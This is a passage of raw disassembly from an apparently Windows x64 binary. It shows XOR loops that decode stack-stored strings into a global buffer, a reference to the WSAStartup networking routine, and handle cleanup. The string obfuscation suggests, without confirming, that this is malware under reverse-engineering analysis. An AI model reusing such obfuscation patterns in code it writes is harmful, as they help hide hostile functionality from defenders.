mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
mov byte [rsp + 0x52], 0
xor ecx, ecx
lea rdi, [0x140bd7cd0]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x31]
mov byte [rcx + rdi], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005d420
lea rax, reloc.WS2_32.dll_WSAStartup
mov qword [0x140bd7cc0], rax
mov dword [0x140bd8430], 0
mov dword [0x140bd843c], 0
mov dword [0x140bd8440], 0x43160000
mov dword [0x140bd8438], 0
lea rsi, str.none
mov qword [0x140bd7dd0], rsi
lea rcx, [rsp + 0x58]
call fcn.140061b00
nop
lea rcx, [rbp + 0xc8]
call fcn.14005ece0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov ebx, dword [rbp + 0x170]
jmp 0x14005cf80
movdqa xmm0, xmmword [0x140161830]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x1401615a0]
movdqu xmmword [rsp + 0x68], xmm1
movdqa xmm0, xmmword [0x1401616e0]
movdqu xmmword [rsp + 0x78], xmm0
mov dword [rbp - 0x78], 0x7d2f6a7c
mov dword [rbp - 0x74], 0x767d7b6a
mov dword [rbp - 0x70], 0x7b6e632f
mov word [rbp - 0x6c], 0x7d6a
xor eax, eax
mov byte [rbp - 0x6a], al
xor ecx, ecx
nop
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x59], al
inc rcx
cmp rcx, 0x3d
jb 0x14005d4f0
mov byte [rbp - 0x6a], 0
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rsp + rcx + 0x59]
mov byte [rcx + rdi], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005d510
lea rax, [0x14015c1fc]
mov qword [0x140bd7cc0], rax
mov dword [0x140bd8430], 0
mov dword [0x140bd843c], 0
mov dword [0x140bd8440], 0x43160000
mov dword [0x140bd8438], 0
mov qword [0x140bd7dd0], rsi
lea rcx, [rbp + 0xc8]
call fcn.14005ece0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 8]
call fcn.140048e70
mov rbx, qword [rsp + 0x288]
add rsp, 0x230
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret